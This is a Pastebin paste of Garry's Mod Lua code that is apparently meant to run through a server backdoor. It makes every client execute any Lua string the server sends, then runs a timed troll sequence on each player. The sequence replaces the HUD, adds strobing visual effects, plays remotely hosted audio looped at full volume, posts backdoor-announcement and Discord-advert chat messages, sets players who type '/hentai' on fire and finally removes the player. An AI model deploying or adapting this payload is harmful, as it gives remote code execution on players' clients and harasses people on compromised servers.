Advertisement
Guest User

dddddd

a guest
Jul 20th, 2018
119
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Lua 11.92 KB | None | 0 0
  1. util.AddNetworkString "skeleton_dancing_troll"
  2.  
  3. local lol = {}
  4. function lol:RandomString( intMin, intMax )
  5.     local ret = ""
  6.     for _ = 1, math.random( intMin, intMax ) do
  7.         ret = ret.. string.char( math.random(65, 90) )
  8.     end
  9.  
  10.     return ret
  11. end
  12.  
  13. lol.m_tblActions = {}
  14. lol.m_strImageGlobalVar = lol:RandomString( 6, 12 )
  15. lol.m_strImageLoadHTML = [[<style type="text/css"> html, body {background-color: transparent;} html{overflow:hidden; ]].. (true and "margin: -8px -8px;" or "margin: 0px 0px;") ..[[ } </style><body><img src="]] .. "%s" .. [[" alt="" width="]] .. "%i"..[[" height="]] .. "%i" .. [[" /></body>]]
  16.  
  17. function lol:PushAction( intChainDelay, func )
  18.     self.m_tblActions[#self.m_tblActions +1] = { intChainDelay, func }
  19. end
  20.  
  21. function lol:NextAction( pPlayer )
  22.     pPlayer.m_intCurAction = pPlayer.m_intCurAction +1
  23.     if not self.m_tblActions[pPlayer.m_intCurAction] then return end
  24.  
  25.     timer.Simple( self.m_tblActions[pPlayer.m_intCurAction][1], function()
  26.         if not IsValid( pPlayer ) then return end
  27.         self.m_tblActions[pPlayer.m_intCurAction][2]( pPlayer )
  28.         self:NextAction( pPlayer )
  29.     end )
  30. end
  31.  
  32. function lol:Start( pPlayer )
  33.     pPlayer.m_intCurAction = 0
  34.     self:NextAction( pPlayer )
  35. end
  36.  
  37. function lol:SendLua( pPlayer, strLua )
  38.     net.Start( "skeleton_dancing_troll" )
  39.         net.WriteString( strLua )
  40.     net.Send( pPlayer )
  41. end
  42.  
  43. function lol:SetupPlayer( pPlayer )
  44.     pPlayer:SendLua( "net.Receive(\"skeleton_dancing_troll\", function() RunString(net.ReadString()) end)" )
  45. end
  46.  
  47. for k, v in pairs( player.GetAll() ) do
  48.     lol:SetupPlayer( v )
  49.     timer.Simple( 2, function() lol:Start( v ) end )
  50. end
  51.  
  52. hook.Add( "PlayerAuthed", "wat", function( pPlayer )
  53.     lol:SetupPlayer( pPlayer )
  54.     timer.Simple( 10, function() lol:Start( pPlayer ) end )
  55. end )
  56.  
  57. hook.Add( "PlayerSay", "1337command", function( pSender, strText, bTeamChat )
  58.     if strText:sub( 1, 5 ) == "/hentai" then
  59.         pSender:Ignite( 1e9 )
  60.         pSender:ChatPrint( "Nop" )
  61.         pSender:SendLua( [[surface.PlaySound( "vo/npc/male01/hacks01.wav" )]] )
  62.         return false
  63.     end
  64. end )
  65.  
  66.  
  67.  
  68. --Sequence stack
  69. --Start some tunes and steam in our assets
  70. lol:PushAction( 0, function( pPlayer )
  71.     lol:SendLua( pPlayer, ([=[
  72.         sound.PlayURL( "https://psv4.vkuseraudio.net/c611123/u289497874/audios/658ac2d116bf.mp3", "", function()end )
  73.        
  74.         g_]=].. lol.m_strImageGlobalVar.. [=[ = {}
  75.         local html = [[%s]]
  76.         local function LoadWebMaterial( strURL, strUID, intSizeX, intSizeY )
  77.             local pnl = vgui.Create( "HTML" )
  78.             pnl:SetPos( ScrW() -1, ScrH() -1 )
  79.             pnl:SetVisible( true )
  80.             pnl:SetMouseInputEnabled( false )
  81.             pnl:SetKeyBoardInputEnabled( false )
  82.             pnl:SetSize( intSizeX, intSizeY )
  83.             pnl:SetHTML( html:format(strURL, intSizeX, intSizeY) )
  84.            
  85.             local PageLoaded
  86.             PageLoaded = function()
  87.                 local mat = pnl:GetHTMLMaterial()
  88.                 if mat then
  89.                     g_]=].. lol.m_strImageGlobalVar.. [=[[strUID] = { mat, pnl }
  90.                     return
  91.                 end
  92.                
  93.                 timer.Simple( 0.5, PageLoaded )
  94.             end
  95.  
  96.             PageLoaded()
  97.         end
  98.  
  99.         LoadWebMaterial( "http://www.underdone.org/leak/underdone/hud.png", "hud1", 300, 128 )
  100.         LoadWebMaterial( "http://www.underdone.org/leak/underdone/hud2.png", "hud2", 300, 128 )
  101.         LoadWebMaterial( "http://www.underdone.org/leak/underdone/hud3.png", "hud3", 128, 128 )
  102.         LoadWebMaterial( "https://imgur.com/a/zZlUHQw", "doritos", 256, 256 )
  103.         LoadWebMaterial( "https://imgur.com/a/zZlUHQw", "fedora", 256, 256 )
  104.         LoadWebMaterial( "https://imgur.com/a/zZlUHQw", "dew", 256, 256 )
  105.         LoadWebMaterial( "https://imgur.com/a/zZlUHQw", "awp", 256, 256 )
  106.     ]=]):format(lol.m_strImageLoadHTML) )
  107.  
  108.     timer.Create( "hello", 2, 1, function()
  109.     RunConsoleCommand( "say", "Кулити работяги. | Hallo" )
  110.     end)
  111.    
  112.     timer.Create( "hello2", 5, 1, function()
  113.     RunConsoleCommand( "say", "У вас на серваке бэкдур!" )
  114.     end)
  115.    
  116.     timer.Create( "hello3", 8, 1, function()
  117.     RunConsoleCommand( "say", "Это просто диско, не волнуйтесь, всё норм | It's just a disco , nwh" )
  118.     end)
  119.    
  120.     timer.Create( "hello5", 12, 1, function()
  121.     RunConsoleCommand( "say", "А теперь немного рекламы этого кала: | Some addvert:" )
  122.     end)
  123.    
  124.     timer.Create( "hello6", 15, 1, function()
  125.     RunConsoleCommand( "say", "ĤẪĈЌĒĎ ฿¥ ĐỆfČỒŃ ŠⱣLỒЇȚ | discord.gg/hf8GVVS" )
  126.     end)
  127.  
  128. end )
  129.  
  130. --HUD swap
  131. lol:PushAction( 31, function( pPlayer )
  132.     lol:SendLua( pPlayer, [[
  133.         (GAMEMODE or GM).CalcView = function() end
  134.         (GAMEMODE or GM).ShouldDrawLocalPlayer = function() end
  135.  
  136.         local remove = { "PostDrawHUD", "PreDrawHUD", "HUDPaint", "HUDPaintBackground", "CalcView", "ShouldDrawLocalPlayer" }
  137.         for k, v in pairs(remove) do
  138.             hook.GetTable()[v] = {}
  139.         end
  140.  
  141.         local function GetWebMat( strURL )
  142.             return g_]].. lol.m_strImageGlobalVar.. [[[strURL]
  143.         end
  144.  
  145.         hook.Add( "HUDPaint", "newhud", function()
  146.             surface.SetDrawColor( 255, 255, 255, 255 )
  147.  
  148.             if GetWebMat( "hud1" ) then
  149.                 surface.SetMaterial( GetWebMat("hud1")[1] )
  150.                 surface.DrawTexturedRect( 0, ScrH() -128, 300 *(512 /300), 128 )
  151.             end
  152.             if GetWebMat( "hud2" ) then
  153.                 surface.SetMaterial( GetWebMat("hud2")[1] )
  154.                 surface.DrawTexturedRect( ScrW() -300, ScrH() -128, 300 *(512 /300), 128 )
  155.             end
  156.             if GetWebMat( "hud3" ) then
  157.                 surface.SetMaterial( GetWebMat("hud3")[1] )
  158.                 surface.DrawTexturedRect( 45, ScrH() -245, 128, 128 )
  159.             end
  160.             if GetWebMat( "doritos" ) then
  161.                 surface.SetMaterial( GetWebMat("doritos")[1] )
  162.                 surface.DrawTexturedRectRotated( math.random(250, 260), math.random(250, 260), 183 *(256 /183), 256, CurTime() *512 )
  163.             end
  164.             if GetWebMat( "dew" ) then
  165.                 surface.SetMaterial( GetWebMat("dew")[1] )
  166.                 surface.DrawTexturedRectRotated( math.random(400, 410), math.random(ScrH() -260, ScrH() -250), 110 *((256 /110) -1), 256, CurTime() *-512 )
  167.             end
  168.             if GetWebMat( "fedora" ) then
  169.                 surface.SetMaterial( GetWebMat("fedora")[1] )
  170.                 surface.DrawTexturedRectRotated( ScrW() -math.random(250, 260), math.random(250, 260), 256, 256, CurTime() *-512 )
  171.             end
  172.             if GetWebMat( "awp" ) then
  173.                 surface.SetMaterial( GetWebMat("awp")[1] )
  174.                 surface.DrawTexturedRectRotated( ScrW() -math.random(400, 410), math.random(ScrH() -260, ScrH() -250), 256, 55, CurTime() *512 )
  175.             end
  176.  
  177.             draw.SimpleTextOutlined(
  178.                 "HENTAI MY LIFE - FUCK GMOD SOSI",
  179.                 "DermaLarge",
  180.                 ScrW() /2 +math.random( -8, 8 ),
  181.                 ScrH() /2 +math.random( -8, 8 ) +64,
  182.                 Color( 255, 0, 0, 255 ),
  183.                 TEXT_ALIGN_CENTER,
  184.                 TEXT_ALIGN_CENTER,
  185.                 1,
  186.                 Color( 0, 0, 255, 255 )
  187.             )
  188.  
  189.             draw.SimpleTextOutlined(
  190.                 "<3",
  191.                 "DermaLarge",
  192.                 ScrW() /2 +math.random( -8, 8 ),
  193.                 ScrH() /2 +math.random( -8, 8 ) +24,
  194.                 Color( 255, 0, 0, 255 ),
  195.                 TEXT_ALIGN_CENTER,
  196.                 TEXT_ALIGN_CENTER,
  197.                 1,
  198.                 Color( 0, 0, 255, 255 )
  199.             )
  200.         end )
  201.  
  202.         local allowed = { ["CHudChat"] = true, ["CHudGMod"] = true, ["CHudWeaponSelection"] = true, ["CHudMenu"] = true }
  203.         hook.Add( "HUDShouldDraw", "newhud", function( str ) if not allowed[str] then return false end end )
  204.  
  205.         surface.PlaySound( "garrysmod/save_load4.wav" )
  206.         surface.PlaySound( "vo/npc/male01/excuseme02.wav" )
  207.     ]] )
  208. end )
  209.  
  210. --Disco time
  211. lol:PushAction( 10, function( pPlayer )
  212.     local idx = pPlayer:EntIndex()
  213.     timer.Create( "beat".. idx, 0.42, 0, function()
  214.         if not IsValid( pPlayer ) then timer.Destroy( "beat".. idx ) return end
  215.         pPlayer:ViewPunch( Angle(math.Rand(-15, -10), math.Rand(-10, 10), 0) )
  216.     end )
  217.  
  218.  
  219.     lol:SendLua( pPlayer, [[
  220.         local emitter = ParticleEmitter( LocalPlayer():GetPos() )
  221.         local time = 0
  222.  
  223.         hook.Add( "Think", "wat", function()
  224.             if CurTime() < time then
  225.                 return
  226.             end
  227.  
  228.             time = CurTime() +0.05
  229.             for i = 1, 16 do
  230.                 local part = emitter:Add(
  231.                     "particles/balloon_bit",
  232.                     LocalPlayer():GetPos() +Vector(
  233.                         math.random( -256, 256 ),
  234.                         math.random( -256, 256 ),
  235.                         256
  236.                     )
  237.                 )
  238.                
  239.                 if part then
  240.                     local Size = math.random( 4, 7 )
  241.                    
  242.                     part:SetColor( math.random(0, 255), math.random(0, 255), math.random(0, 255), 255 )
  243.                     part:SetVelocity( Vector( 40, 25, -math.random(300, 400) ) )
  244.                     part:SetDieTime( 4.5 )
  245.                     part:SetGravity( Vector(40, 0, -250) )
  246.                     part:SetLifeTime( 0 )
  247.                     part:SetStartSize( Size /2 )
  248.                     part:SetEndSize( Size )
  249.                     part:SetCollide( true )
  250.                 end
  251.             end
  252.         end )
  253.     ]] )
  254.  
  255.     lol:SendLua( pPlayer, [[
  256.         hook.Add( "RenderScreenspaceEffects", "wat", function()
  257.             local sinScaler = math.sin( CurTime() )
  258.             DrawBloom(
  259.                 0,
  260.                 3,
  261.                 sinScaler *math.Rand(1, 8),
  262.                 sinScaler *math.Rand(1, 8),
  263.                 6,
  264.                 math.Rand(0.5, 2),
  265.                 math.Rand(0, 0.3),
  266.                 math.Rand(0, 0.3),
  267.                 math.Rand(0.5, 1)
  268.             )
  269.  
  270.             DrawColorModify{
  271.                 ["$pp_colour_addr"] = 0,
  272.                 ["$pp_colour_addg"] = 0,
  273.                 ["$pp_colour_addb"] = 00,
  274.                 ["$pp_colour_brightness" ] = 0,
  275.                 ["$pp_colour_contrast" ] = 1,
  276.                 ["$pp_colour_colour" ] = 1,
  277.                 ["$pp_colour_mulr" ] = 0,
  278.                 ["$pp_colour_mulg" ] = 0,
  279.                 ["$pp_colour_mulb" ] = 1
  280.             }
  281.         end )
  282.  
  283.         local mdl = ClientsideModel( "models/player/skeleton.mdl", RENDERGROUP_BOTH )
  284.         mdl:SetNoDraw( true )
  285.         local posCache, time = {}, 0
  286.  
  287.         hook.Add( "HUDPaint", "dance", function()
  288.             if not mdl.SeqStart or CurTime() > (mdl.SeqStart +mdl.SeqDuration) then
  289.                 local idx = mdl:LookupSequence("taunt_dance")
  290.                 mdl.SeqDuration = mdl:SequenceDuration( idx )
  291.                 mdl.SeqStart = CurTime()
  292.                 mdl:ResetSequence( idx )
  293.             end
  294.  
  295.             mdl:SetCycle( (CurTime() -mdl.SeqStart) /mdl.SeqDuration )
  296.  
  297.            
  298.             local w, h = 300, 300
  299.             local ang = Angle( 0, 0, 0 )
  300.  
  301.             for i = 1, 32 do
  302.                 if CurTime() > time then
  303.                     posCache[i] = { math.random( 0, ScrW() -w ), math.random( 0, ScrH() -h ) }
  304.                 end
  305.                 local x, y = posCache[i][1], posCache[i][2]
  306.  
  307.                 cam.Start3D( (ang:Forward() *64) +(ang:Up() *32), (ang:Forward()*-1):Angle(), 90, x, y, w, h )
  308.                     cam.IgnoreZ( true )
  309.                     render.SuppressEngineLighting( true )
  310.                    
  311.                     render.SetLightingOrigin( mdl:GetPos() )
  312.                     render.ResetModelLighting( 1, 1, 1 )
  313.                     render.SetColorModulation( 0, 0, 1 )
  314.  
  315.                     mdl:DrawModel()
  316.                    
  317.                     render.SuppressEngineLighting( false )
  318.                     cam.IgnoreZ( false )
  319.                 cam.End3D()
  320.             end
  321.  
  322.             if CurTime() > time then
  323.                 time = CurTime() +0.15
  324.             end
  325.         end )
  326.  
  327.         surface.PlaySound( "vo/npc/male01/ohno.wav" )
  328.     ]] )
  329. end )
  330.  
  331. --Let the beat drop
  332. lol:PushAction( 54, function( pPlayer )
  333.     lol:SendLua( pPlayer, [[
  334.         hook.Add( "GetMotionBlurValues", "wat", function()
  335.             return 0, 0, 1, math.sin(CurTime() *13)
  336.         end )
  337.  
  338.         hook.Add( "RenderScreenspaceEffects", "ohgod", function()
  339.             local sinScaler = math.sin( CurTime() *(RealFrameTime() *1024) )
  340.             DrawSharpen( 1 +(sinScaler *10), 0.5 +(sinScaler *2) )
  341.             DrawMaterialOverlay( "effects/tp_eyefx/tpeye", 1 )
  342.         end )
  343.  
  344.         hook.Add( "PostDrawTranslucentRenderables", "ohgod", function()
  345.             render.SetMaterial( Material("cable/blue_elec") )
  346.             for i = 1, 32 do
  347.                 render.DrawBeam( LocalPlayer():GetPos() +Vector(0, 0, 128) +(EyeAngles():Forward() *256), EyePos() +(VectorRand() *256), 4, 0, 12.5, Color(255, 255, 255, 255) )
  348.             end
  349.         end )
  350.  
  351.         timer.Create( "thedrop", 0.42, 0, function()
  352.             util.ScreenShake( LocalPlayer():GetPos(), 512, 5, 0.25, 128 )
  353.         end )
  354.     ]] )
  355. end )
  356.  
  357. --EVIL TIME rip headpones
  358. lol:PushAction( 175, function( pPlayer )
  359.     lol:SendLua( pPlayer, [[
  360.         surface.PlaySound( "vo/npc/male01/gethellout.wav" )
  361.  
  362.         local sounds = {}
  363.         for i = 1, 4 do
  364.             sound.PlayURL( "https://cs9-7v4.vkuseraudio.net/p20/b96e7df10bc8c5.mp3?extra=9drUdJbMY055FW1uWlB8OsY_eDURMVrgh_9Idi4FFqygNjdLBM-3hUVVCP2TXBKhyZSPK4IaKYTU1-CzJpcjJqDx4d-p7h93NzG0k1UqnlCPXYyvEpzDUoP-mmJxY3WbEIC4oXBbsQN6", "noblock noplay", function( pChan )
  365.                 sounds[#sounds +1] = pChan
  366.             end )
  367.         end
  368.  
  369.         timer.Create( "asdf", 1, 0, function()
  370.             if #sounds ~= 4 then return end
  371.             timer.Destroy( "asdf" )
  372.             for k, v in pairs( sounds ) do v:EnableLooping( true ) v:SetVolume( 1 ) v:Play() end
  373.         end )
  374.  
  375.         hook.Add( "HUDShouldDraw", "newhud", function() return false end )
  376.     ]] )
  377.  
  378.     pPlayer:Remove()
  379. end )
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement